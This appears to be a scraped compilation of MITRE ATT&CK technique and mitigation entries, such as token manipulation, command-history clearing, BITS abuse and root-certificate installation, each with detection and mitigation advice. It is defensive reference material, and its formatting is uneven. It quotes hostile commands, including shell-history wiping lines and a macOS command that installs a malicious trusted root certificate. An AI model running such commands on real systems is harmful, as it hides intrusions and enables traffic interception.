This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.

Detection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.

Platforms: Windows

Data Sources: File monitoring, Process monitoring

System Requirements: Shared webroot directory on remote system

Indicator Blocking - T1054

An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.

Detection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.

Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.

Platforms: Windows

Data Sources: Sensor health and status, Process command-line parameters, Process monitoring
Exfiltration Over Physical Medium - T1052

In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

Detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.

Platforms: Linux, macOS, Windows

Data Sources: Data loss prevention, File monitoring

System Requirements: Presence of physical medium or device

Requires Network: No

Access Token Manipulation - T1134

Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. (Citation: Microsoft runas)

Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly
use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)

Access tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)

"Token Impersonation/Theft" - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user’s security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

"Create Process with a Token" - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

"Make and Impersonate Token" - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)

Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)

If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.

Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)

**System Time Discovery - T1124**

The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing `<code>net time \hostname</code>` to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using `<code>w32tm /tz</code>`. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.

Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.
Clear Command History - T1146

macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `<code>HISTFILE</code>`. When a user logs off a system, this information is flushed to a file in the user’s home directory called `<code>~/.bash_history</code>`. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as `<code>unset HISTFILE</code>`, `<code>export HISTFILESIZE=0</code>`, `<code>history -c</code>`, `<code>rm ~/.bash_history</code>`.

Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user’s `<code>~/.bash_history</code>` is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the `<code>~/.bash_history</code>` file are indicators of suspicious activity.

Platforms: Linux, macOS

Execution through Module Load - T1129

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;

* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);

* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;

* via `<code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code>` in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries can use this functionality as a way to execute arbitrary code on a system.

Detection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `<code>%SystemRoot%</code>` and `<code>%ProgramFiles%</code>` directories will protect against module loads from unsafe paths.

Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.

SSH Hijacking - T1184

Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

SSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.

Detection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.

Install Root Certificate - T1130

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

Detection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)

Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>HKLM or HKCU\Software\Policies\\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

\textbf{.bash\_profile and .bashrc - T1156}

\texttt{~/.bash\_profile} and \texttt{~/.bashrc} are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. \texttt{~/.bash\_profile} is executed for login shells and \texttt{~/.bashrc} is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), \texttt{~/.bash\_profile} is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, \texttt{~/.bashrc} is executed. This allows users more fine grained control over when they want certain commands executed.

Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling \texttt{~/.bash\_profile} each time instead of \texttt{~/.bashrc}.

These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).

Detection: While users may customize their \texttt{~/.bashrc} and \texttt{~/.bash\_profile} files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.

BITS Jobs - T1197

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin

Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)

Detection: BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS)

Monitor usage of the BITSAdmin tool (especially the 'Transfer', 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)

Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)

Component Object Model Hijacking Mitigation - T1122 has relationships with:

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Process Injection Mitigation - T1055

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GD Security Linux injection)

Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet App Locker vs SRP)

Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: App Armor official).

Regsvcs/Regasm Mitigation - T1121

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Regsvcs/Regasm Mitigation - T1121"

Regsvcs/Regasm Mitigation - T1121 has relationships with:

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Application Deployment Software Mitigation - T1017"

Application Deployment Software Mitigation - T1017 has relationships with:

Commonly Used Port Mitigation - T1043

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

**Path Interception Mitigation - T1034**

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:\</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.
The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Path Interception Mitigation - T1034"`

Path Interception Mitigation - T1034 has relationships with:

### Graphical User Interface Mitigation - T1061

Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

• mitigates: `misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Network Shared Drive - T1039"` with estimative-language:likelihood-probability="almost-certain"

Dylib Hijacking Mitigation - T1157

Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.
The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Dylib Hijacking Mitigation - T1157"

Dylib Hijacking Mitigation - T1157 has relationships with:

Account Manipulation Mitigation - T1098

Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Account Manipulation Mitigation - T1098"

Account Manipulation Mitigation - T1098 has relationships with:

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="PowerShell Mitigation - T1086"

PowerShell Mitigation - T1086 has relationships with:

Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)
For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Forced Authentication Mitigation - T1187"`

Forced Authentication Mitigation - T1187 has relationships with:

System Information Discovery Mitigation - T1082

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="System Information Discovery Mitigation - T1082"`

System Information Discovery Mitigation - T1082 has relationships with:

Exploitation for Defense Evasion Mitigation - T1211

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"`

Exploitation for Defense Evasion Mitigation - T1211 has relationships with:

### Winlogon Helper DLL Mitigation - T1004

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Application Window Discovery Mitigation - T1010 has relationships with:

**External Remote Services Mitigation - T1133**

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="External Remote Services Mitigation - T1133"

External Remote Services Mitigation - T1133 has relationships with:

**Pass the Hash Mitigation - T1075**

Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Pass the Hash Mitigation - T1075"

Pass the Hash Mitigation - T1075 has relationships with:
• mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

**Account Discovery Mitigation - T1087**

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located `<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>.

It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Taint Shared Content Mitigation - T1080 has relationships with:

### Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Redundant Access Mitigation - T1108"`

Redundant Access Mitigation - T1108 has relationships with:

### Domain Fronting Mitigation - T1172

If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Domain Fronting Mitigation - T1172"`

Domain Fronting Mitigation - T1172 has relationships with:

- mitigates: `misp-galaxy:mitre-enterprise-attack-attack-pattern="Domain Fronting - T1172"` with estimative-language:likelihood-probability="almost-certain"
Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Spearphishing Attachment Mitigation - T1193"`

Spearphishing Attachment Mitigation - T1193 has relationships with:

Audio Capture Mitigation - T1123

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Audio Capture Mitigation - T1123"`

Audio Capture Mitigation - T1123 has relationships with:

New Service Mitigation - T1050

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies
The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="New Service Mitigation - T1050"

New Service Mitigation - T1050 has relationships with:

**CMSTP Mitigation - T1191**

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="CMSTP Mitigation - T1191"

CMSTP Mitigation - T1191 has relationships with:

Kerberoasting Mitigation - T1208 has relationships with:

**Timestomp Mitigation - T1099**

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Timestomp Mitigation - T1099"

Timestomp Mitigation - T1099 has relationships with:

**System Network Configuration Discovery Mitigation - T1016**

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="System Network Configuration Discovery Mitigation - T1016"

System Network Configuration Discovery Mitigation - T1016 has relationships with:

**Execution through Module Load Mitigation - T1129**

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.
Execution through Module Load Mitigation - T1129 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"

**Shared Webroot Mitigation - T1051**

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

